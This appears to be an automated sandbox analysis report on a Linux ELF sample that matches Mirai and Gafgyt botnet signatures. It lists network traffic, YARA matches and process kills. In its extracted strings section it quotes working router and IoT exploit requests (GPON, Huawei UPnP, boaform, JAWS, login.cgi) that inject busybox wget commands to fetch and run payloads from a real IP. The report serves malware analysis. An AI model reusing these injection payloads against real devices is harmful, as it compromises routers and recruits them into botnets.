Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42206
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41352
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42684
Source: unknown	Network traffic detected: HTTP traffic on port 42744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41354
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42682
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56826
Source: unknown	Network traffic detected: HTTP traffic on port 40310 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34514 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50284
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51134
Source: unknown	Network traffic detected: HTTP traffic on port 34652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35900
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32874
Source: unknown	Network traffic detected: HTTP traffic on port 46808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42672
Source: unknown	Network traffic detected: HTTP traffic on port 36878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45300
Source: unknown	Network traffic detected: HTTP traffic on port 35266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33318
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54256
Source: unknown	Network traffic detected: HTTP traffic on port 35564 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57764
Source: unknown	Network traffic detected: HTTP traffic on port 46062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34652
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55110
Source: unknown	Network traffic detected: HTTP traffic on port 56156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34650
Source: unknown	Network traffic detected: HTTP traffic on port 36380 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54262
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42268
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46622
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43114
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44440
Source: unknown	Network traffic detected: HTTP traffic on port 54262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43460 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40658 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58626
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52088
Source: unknown	Network traffic detected: HTTP traffic on port 56328 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58628
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58622
Source: unknown	Network traffic detected: HTTP traffic on port 33532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55120
Source: unknown	Network traffic detected: HTTP traffic on port 40732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52092
Source: unknown	Network traffic detected: HTTP traffic on port 46926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43108
Source: unknown	Network traffic detected: HTTP traffic on port 46050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46610
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60940
Source: unknown	Network traffic detected: HTTP traffic on port 42032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34628
Source: unknown	Network traffic detected: HTTP traffic on port 53738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59966
Source: unknown	Network traffic detected: HTTP traffic on port 45354 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43578
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45756
Source: unknown	Network traffic detected: HTTP traffic on port 38544 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47930
Source: unknown	Network traffic detected: HTTP traffic on port 36126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58652
Source: unknown	Network traffic detected: HTTP traffic on port 60074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35438 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44416
Source: unknown	Network traffic detected: HTTP traffic on port 34416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54584 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47520
Source: unknown	Network traffic detected: HTTP traffic on port 43604 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54212
Source: unknown	Network traffic detected: HTTP traffic on port 49332 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34578 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: H085INliC6.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: H085INliC6.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
Source: H085INliC6.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: H085INliC6.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_5f7b67b8 Author: unknown
Source: H085INliC6.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_aa39fb02 Author: unknown
Source: H085INliC6.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: H085INliC6.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: H085INliC6.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: H085INliC6.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: H085INliC6.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6238.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6238.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
Source: 6238.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 6238.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_5f7b67b8 Author: unknown
Source: 6238.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_aa39fb02 Author: unknown
Source: 6238.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 6238.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6238.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6238.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6238.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6266.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6266.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
Source: 6266.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 6266.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_5f7b67b8 Author: unknown
Source: 6266.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_aa39fb02 Author: unknown
Source: 6266.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 6266.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6266.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6266.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6266.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: Process Memory Space: H085INliC6.elf PID: 6238, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: H085INliC6.elf PID: 6266, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k/proc//proc/%d/exewgetcurlping/pswiresharktcpdumppythoniptablesnanonvimgdb/proc/maps/fd/proc/net/tcp/bin/systemd/bin/watchdog/bin/busybox/var/SofiamkdirtouchechoHTTPetherapegittelnetdsshdmysqlddropbearencoderpgrepyumtftpftpgetrebootpoweroffshutdownnetcatapt/usr/bin/usr/ftp/usr/sbinusrrm -rf && mkdir ; > && mv ; chmod 777 3f
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 164.155.205.6 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0POST /GponForm/diag_Form?images/ HTTP/1.1
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0POST /HNAP1/ HTTP/1.0

Source: Initial sample	Potential command found: GET /
Source: Initial sample	Potential command found: GET /HEAD /POST /HTTP/1.1 404 Not FoundServer: ApacheContent-Length: %d
Source: Initial sample	Potential command found: GET /ping.cgi?pingIpAddress=google.fr;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&sessionKey=1039230114'$ HTTP/1.1
Source: Initial sample	Potential command found: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1
Source: Initial sample	Potential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1
Source: Initial sample	Potential command found: GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1
Source: Initial sample	Potential command found: GET /index.php?s=/index/hink
Source: Initial sample	Potential command found: GET /%s HTTP/1.0

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/H085INliC6.elf (PID: 6265)	SIGKILL sent: pid: 788, result: successful	Jump to behavior
Source: /tmp/H085INliC6.elf (PID: 6265)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/H085INliC6.elf (PID: 6265)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/H085INliC6.elf (PID: 6265)	SIGKILL sent: pid: 1664, result: successful	Jump to behavior
Source: /tmp/H085INliC6.elf (PID: 6265)	SIGKILL sent: pid: 2096, result: successful	Jump to behavior
Source: /tmp/H085INliC6.elf (PID: 6265)	SIGKILL sent: pid: 2102, result: successful	Jump to behavior
Source: /tmp/H085INliC6.elf (PID: 6265)	SIGKILL sent: pid: 2223, result: successful	Jump to behavior
Source: /tmp/H085INliC6.elf (PID: 6265)	SIGKILL sent: pid: 6267, result: successful	Jump to behavior

Source: H085INliC6.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: H085INliC6.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
Source: H085INliC6.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: H085INliC6.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_5f7b67b8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940, id = 5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e, last_modified = 2021-09-16
Source: H085INliC6.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_aa39fb02 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = b136ba6496816ba9737a3eb0e633c28a337511a97505f06e52f37b38599587cb, id = aa39fb02-ca7e-4809-ab5d-00e92763f7ec, last_modified = 2021-09-16
Source: H085INliC6.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: H085INliC6.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: H085INliC6.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: H085INliC6.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: H085INliC6.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6238.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6238.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
Source: 6238.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 6238.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_5f7b67b8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940, id = 5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e, last_modified = 2021-09-16
Source: 6238.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_aa39fb02 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = b136ba6496816ba9737a3eb0e633c28a337511a97505f06e52f37b38599587cb, id = aa39fb02-ca7e-4809-ab5d-00e92763f7ec, last_modified = 2021-09-16
Source: 6238.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 6238.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6238.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6238.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6238.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 6266.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6266.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
Source: 6266.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 6266.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_5f7b67b8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940, id = 5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e, last_modified = 2021-09-16
Source: 6266.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_aa39fb02 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = b136ba6496816ba9737a3eb0e633c28a337511a97505f06e52f37b38599587cb, id = aa39fb02-ca7e-4809-ab5d-00e92763f7ec, last_modified = 2021-09-16
Source: 6266.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 6266.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6266.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6266.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6266.1.0000000008048000.0000000008064000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: Process Memory Space: H085INliC6.elf PID: 6238, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: H085INliC6.elf PID: 6266, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal88.troj.linELF@0/0@0/0

